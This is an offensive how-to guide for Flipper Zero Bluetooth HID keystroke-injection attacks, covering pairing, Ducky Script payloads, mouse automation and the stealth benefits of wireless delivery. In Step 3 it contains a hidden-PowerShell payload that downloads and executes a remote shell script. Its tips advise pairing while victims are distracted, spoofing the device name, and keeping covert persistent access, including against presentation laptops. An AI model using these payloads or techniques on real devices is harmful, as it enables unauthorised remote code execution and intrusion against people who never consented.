How to Use Bluetooth HID on the Flipper Zero for Wireless BadUSB Attacks

Introduction

The Flipper Zero's Bluetooth HID capability extends BadUSB from physical USB to wireless Bluetooth, turning the Flipper into a remote keyboard and mouse that pairs with computers, phones, tablets, and smart TVs. Unlike USB which requires physical access, Bluetooth HID works from across the room. This guide covers Bluetooth HID pairing, wireless payload delivery, mouse control automation, device-specific attacks, and the stealth advantages of wireless BadUSB over physical plug-in.

Bluetooth HID vs USB BadUSB

USB BadUSB: Requires physical insertion, instant execution, no pairing needed, works on any USB port
Bluetooth HID: Requires pairing (one-time), works wirelessly up to 10 meters, persistent across reboots, targets already-paired devices

Key advantage: A paired Bluetooth HID device is trusted by the OS. Once paired, the Flipper can send keystrokes at any time without physical access. The target sees the Flipper as a legitimate Bluetooth keyboard.

Step 1: Enable Bluetooth and Install the HID App

Navigate to Settings > Bluetooth on the Flipper.
Enable Bluetooth.
Install the Bluetooth Remote app from the Flipper App Catalog.
This app provides keyboard, mouse, and media control over Bluetooth HID.

Step 2: Pair with a Target Device

Windows pairing:

On the target PC: Settings > Bluetooth > Add Device > Bluetooth
On the Flipper: Bluetooth Remote > Start Advertising
The Flipper appears as "Flipper Keyboard" or similar.
Select it on the Windows PC and pair.
Windows installs the HID driver automatically.

macOS pairing:

System Preferences > Bluetooth
Put the Flipper in advertising mode.
Select "Flipper Keyboard" and click Connect.

Linux pairing:

bluetoothctl
scan on to find the Flipper
pair [MAC]
trust [MAC] to auto-connect

iOS/Android pairing:

Settings > Bluetooth on the mobile device.
Find and pair the Flipper.
The Flipper can now type into any text field on the mobile device.

Step 3: Execute Keyboard Payloads Over Bluetooth

The Bluetooth Remote app uses the same Ducky Script syntax as USB BadUSB.

iPhone silent jailbreak attempt (educational only):

This payload opens Safari and navigates to a jailbreak tool (for devices you own only):

REM iPhone Safari navigation via Bluetooth DELAY 2000 GUI h DELAY 500 STRING safari DELAY 200 ENTER DELAY 1000 GUI l DELAY 200 STRING https://checkra.in DELAY 200 ENTER

Windows Run dialog via Bluetooth:

DELAY 1000 GUI r DELAY 500 STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/shell.ps1')" ENTER

Android ADB over Bluetooth (developer mode required):

DELAY 1000 STRING *#*#4636#*#* DELAY 200 ENTER

This opens Android's testing menu.

Step 4: Mouse Control and Automation

The Bluetooth Remote app includes mouse control:

Move cursor: Directional pad moves the mouse pointer
Click: OK button for left click
Right click: Back button
Scroll: Up/Down buttons

Automated mouse movement (scripted):

Some Flipper apps support scripted mouse movements for automation:

REM Move mouse to specific screen coordinates MOUSE_MOVE 500 300 DELAY 100 MOUSE_CLICK LEFT DELAY 100 MOUSE_CLICK LEFT

This opens an application by double-clicking its icon.

Smart TV navigation:

Bluetooth HID is the standard for most smart TV remote controls. The Flipper can navigate smart TV menus:

REM Android TV navigation DELAY 1000 KEY HOME DELAY 500 KEY DOWN DELAY 200 KEY DOWN DELAY 200 KEY OK DELAY 1000 KEY RIGHT DELAY 200 KEY OK

Step 5: Wireless Payload Delivery Advantages

No physical access needed: Execute payloads from across the room after initial pairing.
Persistent access: Once paired, the Flipper reconnects automatically when in range.
No USB port required: Targets with USB disabled or physically blocked are still vulnerable via Bluetooth.
Stealth: No visible USB device plugged in. The Flipper stays in your pocket.
Mobile targets: Phones and tablets that lack USB ports but have Bluetooth are vulnerable.
Conference room attack: A paired Flipper can deliver payloads to a presentation laptop from the audience.

Step 6: Bluetooth HID Limitations

Initial pairing requires physical proximity and user interaction. The user must approve the pairing request.
Some OS versions show a prominent notification when a new Bluetooth keyboard pairs.
Bluetooth range is 10 meters (class 2). Walls and interference reduce this.
Battery drain: Bluetooth HID drains the Flipper battery faster than USB.
Not all devices support Bluetooth HID: Servers and embedded systems may lack Bluetooth entirely.
Bluetooth must be enabled on the target. Many corporate environments disable Bluetooth via GPO.

Tips for Bluetooth HID Success

Pair during setup: Pair the Flipper when the target is being set up or when the user is distracted. Once paired, you have persistent access.
Use a generic name: Name the Flipper "Wireless Keyboard" or "BT Mouse" instead of "Flipper Zero".
Test latency: Bluetooth has higher latency than USB. Increase DELAY values by 50% compared to USB BadUSB scripts.
Reconnection delay: After the Flipper sleeps or goes out of range, reconnection takes 2-5 seconds. Account for this in scripts.
Combine with USB: Use USB BadUSB for the initial payload, then maintain access via Bluetooth HID for follow-up.

Conclusion

Bluetooth HID on the Flipper Zero extends the BadUSB attack surface from physical to wireless. Once paired, the Flipper becomes a trusted wireless keyboard that can deliver payloads from across the room without any visible connection. The key limitation is the initial pairing step, which requires user approval. But on devices where Bluetooth is already enabled and users are conditioned to accept pairing requests, Bluetooth HID provides persistent, stealthy access that USB BadUSB cannot match. For mobile devices, smart TVs, and wireless-only systems, it is the only viable BadUSB vector.

Related Guides

Loading_